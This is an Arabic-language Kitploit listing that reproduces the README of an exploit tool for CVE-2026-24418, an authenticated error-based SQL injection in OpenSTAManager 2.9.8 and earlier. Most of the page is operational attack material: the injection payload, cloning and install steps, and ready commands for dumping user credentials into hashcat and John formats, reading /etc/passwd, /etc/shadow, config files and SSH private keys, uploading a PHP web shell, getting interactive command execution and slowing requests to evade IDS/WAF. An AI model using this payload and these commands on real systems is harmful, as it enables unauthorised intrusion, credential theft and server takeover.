Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24418 — تحتوي إصدارات OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة من نوع حقن SQL قائم على الأخطاء في معالج العمليات الجماعية لوحدة Scadenzario (جدول الدفع). | Kitploit
أدوات/GitHubGitHub/bridgeralderson/cve-2026-24418
هجمات كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمرأمن قواعد البيانات
GitHubbridgeralderson/cve-2026-24418

CVE-2026-24418

تحتوي إصدارات OpenSTAManager v2.9.8 والإصدارات الأقدم على ثغرة خطيرة من نوع حقن SQL قائم على الأخطاء في معالج العمليات الجماعية لوحدة Scadenzario (جدول الدفع).

212منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

CVE-2026-24418

OpenSTAManager <= 2.9.8 — حقن SQL قائم على الأخطاء في وحدة العمليات الجماعية لـ Scadenzario

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-24418
الخطورةعالية (8.8)
CWECWE-89: حقن SQL
الإصدارات المتأثرةOpenSTAManager <= 2.9.8
المعامل الضعيفid_records[] (مصفوفة POST)
النقطة الضعيفة/actions.php?id_module=18
نوع الهجومحقن SQL قائم على الأخطاء (EXTRACTVALUE)
المصادقةمطلوبة (أي حساب مستخدم صالح)

تفاصيل الثغرة

يحتوي OpenSTAManager v2.9.8 والإصدارات السابقة على ثغرة حرجة من نوع حقن SQL قائم على الأخطاء في معالج العمليات الجماعية لوحدة Scadenzario (جدول المدفوعات). يفشل التطبيق في التحقق من أن عناصر مصفوفة id_records[] هي أعداد صحيحة قبل استخدامها في جملة IN() في SQL، مما يسمح للمهاجمين الموثَّقين بحقن أوامر SQL عشوائية واستخراج بيانات حساسة من خلال رسائل خطأ XPATH.

السبب الجذري

  1. نقطة الدخول — /actions.php يستقبل id_records[] عبر POST
  2. تعقيم غير كافٍ — array_clean() يزيل القيم الفارغة فقط، ولا يتحقق من أنواع البيانات
  3. نقطة الحقن — /modules/scadenzario/bulk.php يمرر القيم غير المعقَّمة مباشرة إلى جملة IN() في SQL
  4. استخراج البيانات — رسائل خطأ EXTRACTVALUE/UPDATEXML تُسرِّب نتائج الاستعلام

الميزات

الميزةالوصف
--infoبصمة خادم قاعدة البيانات (الإصدار، المستخدم، اسم المضيف، نظام التشغيل، المسارات)
--privsتعداد صلاحيات MySQL (FILE, SUPER, PROCESS)
--usersتفريغ كامل لبيانات الاعتماد من zz_users مع تصدير تجزئات تلقائي
--dbsتعداد جميع قواعد البيانات القابلة للوصول
--tablesعرض الجداول مع عدد الصفوف
--columnsعرض الأعمدة مع الأنواع ومعلومات القابلية للصفر
--dumpاستخراج البيانات من أي جدول/عمود
--sqlتنفيذ استعلام SQL مخصص
--file-readقراءة ملفات الخادم عبر LOAD_FILE() (/etc/passwd، ملفات الإعدادات، مفاتيح SSH)
--file-read-hexقراءة ملفات بترميز HEX لتجاوز المرشحات
--webshellرفع شِل ويب PHP عبر INTO DUMPFILE
--rceتنفيذ أوامر تفاعلي عبر شِل الويب المرفوع
-o / --outputحفظ جميع النتائج بتنسيقات JSON وCSV وhashcat/john
--proxyدعم وكيل HTTP (Burp Suite)
--delayتقليل سرعة الطلبات لتجنب IDS/WAF

التثبيت

git clone https://github.com/BridgerAlderson/CVE-2026-24418.git
cd CVE-2026-24418
pip install requests

الاستخدام

المصادقة

# تسجيل الدخول ببيانات الاعتماد
python3 exploit.py -t http://target.com -u admin -p password --info

# استخدام كوكي جلسة موجودة
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --info

الاستطلاع

# معلومات قاعدة البيانات + الصلاحيات + بيانات المستخدم
python3 exploit.py -t http://target.com -u admin -p secret --all

# التحقق من صلاحيات MySQL (FILE, SUPER, إلخ)
python3 exploit.py -t http://target.com -u admin -p secret --privs

استخراج بيانات الاعتماد

# تفريغ المستخدمين وتصدير التجزئات تلقائيًا
python3 exploit.py -t http://target.com -u admin -p secret --users -o ./loot

# ملفات الإخراج:
#   ./loot/users.json          - بيانات المستخدم كاملة
#   ./loot/users.csv           - تنسيق CSV
#   ./loot/hashes_hashcat.txt  - تنسيق Hashcat (الوضع 3200)
#   ./loot/hashes_john.txt     - تنسيق John (user:hash)

تعداد قاعدة البيانات

# عرض جميع قواعد البيانات
python3 exploit.py -t http://target.com -u admin -p secret --dbs

# عرض الجداول في قاعدة بيانات محددة
python3 exploit.py -t http://target.com -u admin -p secret --tables -D openstamanager

# عرض أعمدة جدول
python3 exploit.py -t http://target.com -u admin -p secret --columns -T zz_users

# تفريغ أعمدة محددة مع حد للصفوف
python3 exploit.py -t http://target.com -u admin -p secret --dump -T zz_users -C username,password --limit 10

قراءة الملفات (LFI عبر SQL)

# قراءة /etc/passwd
python3 exploit.py -t http://target.com -u admin -p secret --file-read /etc/passwd

# قراءة إعدادات التطبيق (بيانات اعتماد قاعدة البيانات)
python3 exploit.py -t http://target.com -u admin -p secret --file-read /var/www/html/openstamanager/config.inc.php

# قراءة مفاتيح SSH
python3 exploit.py -t http://target.com -u admin -p secret --file-read /home/user/.ssh/id_rsa

# وضع HEX (لتجاوز مرشحات الأحرف)
python3 exploit.py -t http://target.com -u admin -p secret --file-read-hex /etc/shadow

تنفيذ الأكواد عن بُعد

# رفع شِل ويب (يكتشف جذر الويب تلقائيًا)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# رفع شِل ويب مع تحديد جذر الويب
python3 exploit.py -t http://target.com -u admin -p secret --webshell --webroot /var/www/html

# جلسة شِل تفاعلية
python3 exploit.py -t http://target.com -u admin -p secret --rce

# RCE سيقوم برفع شِل ويب تلقائيًا إذا لم يكن موجودًا

الإخراج والتقارير

# حفظ كل شيء في مجلد
python3 exploit.py -t http://target.com -u admin -p secret --all -o ./loot

# الملفات المُنشأة:
#   db_info.json, privileges.json, users.json, users.csv,
#   hashes_hashcat.txt, hashes_john.txt

خيارات الشبكة

# عبر وكيل Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --users --proxy http://127.0.0.1:8080

# مع تأخير بين الطلبات (ثانيتان بين الطلبات)
python3 exploit.py -t http://target.com -u admin -p secret --users --delay 2

# تخطي التحقق من SSL
python3 exploit.py -t https://target.com -u admin -p secret --info -k

مرجع الخيارات الكامل

الهدف:
  -t, --target           رابط الهدف الأساسي

المصادقة:
  -u, --user             اسم المستخدم لتسجيل الدخول
  -p, --password         كلمة المرور لتسجيل الدخول
  -c, --cookie           قيمة PHPSESSID موجودة

التعداد:
  -D, --database         اسم قاعدة البيانات المستهدفة
  -T, --table            اسم الجدول المستهدف
  -C, --columns-list     الأعمدة المراد تفريغها (مفصولة بفواصل)
  --limit                حد الصفوف للتفريغ

الإجراءات:
  --info                 معلومات خادم قاعدة البيانات
  --users                تفريغ بيانات اعتماد zz_users
  --dbs                  تعداد قواعد البيانات
  --tables               عرض الجداول
  --columns              عرض الأعمدة (يتطلب -T)
  --dump                 تفريغ البيانات (يتطلب -T و -C)
  --sql QUERY            استعلام SQL مخصص
  --all                  تشغيل --info + --privs + --users
  --privs                التحقق من صلاحيات MySQL

عمليات الملفات:
  --file-read PATH       قراءة ملف عبر LOAD_FILE()
  --file-read-hex PATH   قراءة ملف عبر ترميز HEX

تنفيذ الأكواد عن بُعد:
  --webshell             رفع شِل ويب PHP
  --webroot PATH         مسار جذر الويب لرفع الشِل
  --rce                  تنفيذ أوامر تفاعلي

الإخراج:
  -o, --output DIR       حفظ النتائج في مجلد

الشبكة:
  -m, --module-id        معرف الوحدة (الافتراضي: 18)
  --proxy                رابط وكيل HTTP
  -k, --no-ssl-verify    تعطيل التحقق من SSL
  --delay                تأخير الطلبات بالثواني

التفاصيل التقنية

بنية الحمولة

id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(<SQL_QUERY>)))#

حد أحرف EXTRACTVALUE

تعيد دالة EXTRACTVALUE() في MySQL حوالي 32 حرفًا كحد أقصى عبر أخطاء XPATH. تقوم الأداة تلقائيًا بتقسيم النتائج الطويلة باستخدام SUBSTRING():

SUBSTRING((<query>), 1, 31)    -- الجزء 1
SUBSTRING((<query>), 32, 31)   -- الجزء 2
...

آلية رفع شِل الويب

ملاحظة تقنية حول سياق الأخطاء: على الرغم من تضمين --webshell و --rce لأقصى تغطية، إلا أن MySQL تمنع بشكل صارم استخدام INTO DUMPFILE داخل استعلام فرعي أو جملة IN() (وهي تحديدًا نقطة الحقن في هذه الثغرة).

لذلك، فإن كتابة الملفات مباشرة عبر هذا النوع من الحقن القائم على الأخطاء ستفشل عادةً مع خطأ نحوي ما لم:

  1. تسمح البيئة المستهدفة بالاستعلامات المكدسة (نادر جدًا في إعدادات PHP/PDO الحديثة).
  2. تنجح في تحويل الحمولة إلى حقن قائم على UNION.

إذا تأكدت من صلاحية FILE عبر --privs، فأفضل خيار لك هو استخدام --file-read و --file-read-hex، حيث أن LOAD_FILE() تعمل بشكل مثالي داخل الاستعلامات الفرعية القائمة على الأخطاء.

عندما تكون صلاحية FILE متاحة وتسمح القيود:

تنزيل الأداة